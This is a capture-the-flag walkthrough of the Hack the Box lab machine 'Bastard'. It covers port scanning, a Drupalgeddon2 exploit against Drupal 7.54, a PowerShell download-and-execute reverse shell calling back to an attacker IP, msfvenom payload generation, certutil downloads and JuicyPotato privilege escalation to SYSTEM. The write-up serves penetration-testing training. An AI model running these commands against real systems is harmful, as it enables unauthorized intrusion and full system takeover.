Home Hack the Box - Bastard
Post
Cancel

Hack the Box - Bastard

Bastard

Bastard Overview

Machine Details

IPHostnameOperating System
10.10.10.9BastardWindows

Path to Exploitation

Compromising this machine requires us to exploit a vulnerable version of a Drupal server that grants us a shell on the machine. Once we get our shell we enumerate our user and machine information and find that we have the seImpersonatePrivilege enabled. We can leverage this privilege to escalate to SYSTEM.

Bastard Enumeration

Full Port Scan

1
nmap 10.10.10.9 -p- -oA Bastard/nmap/full-port --open -Pn -vv

Results:

PORTSERVICE
80http
135msrpc
49154unknown

Service Scan

1
nmap 10.10.10.9 -p 80,135,49154 -sC -sV -oA Bastard/nmap/service-scan -Pn

Results:

PORTSERVICEVERSION
80httpIIS httpd 7.5
135msrpcWindows RPC
49154msrpcWindows RPC

Website

Drupal Site

DrupeScan

1
$ ./droopescan scan drupal -u http://10.10.10.9/

DroopeScan

We see the Drupal version is 7.54 so we can use the drupalgeddon2 exploit. We can test the exploit to see if we can get command execution

1
2
$ ./drupalgeddon2.py -h http://10.10.10.9 -c 'whoami'
nt authority\iusr

Use the Invoke-PowerShellTcp.ps1 script and add the following line to the bottom of the file:

1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 443

Setup a listener and execute the following command:

1
$ ./drupalgeddon2.py -h http://10.10.10.9 -c "powershell IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.10/Invoke-PowerShellTcp.ps1')"

We check on our listener and we see we have caught a reverse shell as the iuser account

Intial Foothold

Privilege Escalation

Local Enumeration

System Enumeration

1
PS:\> systeminfo

System Info

User Enumeration

1
PS:\> whoami /priv

User Privileges

We see based on our privileges and the machine operating system that we may be able to leverage the juicy potato exploit

Getting SYSTEM

Generate the reverse shell payload:

1
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o evil.exe 

Upload the juicy potato script and the reverse shell payload to the machine

1
2
PS:\> certutil -urlcache -f http://10.10.14.10/juicypotato.exe juicy.exe
PS:\> certutil -urlcache -f http://10.10.14.10/evil.exe evil.exe

Setup a listener and execute the script (Use the GetCLSID.ps1 script to identify the CLSID):

1
PS:\> .\juicy.exe -l 1337 -p "C:\temp\evil.exe" -t * -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"

Checking back on the listener we see we have a shell as the SYSTEM account.

Getting SYSTEM

This post is licensed under CC BY 4.0 by the author.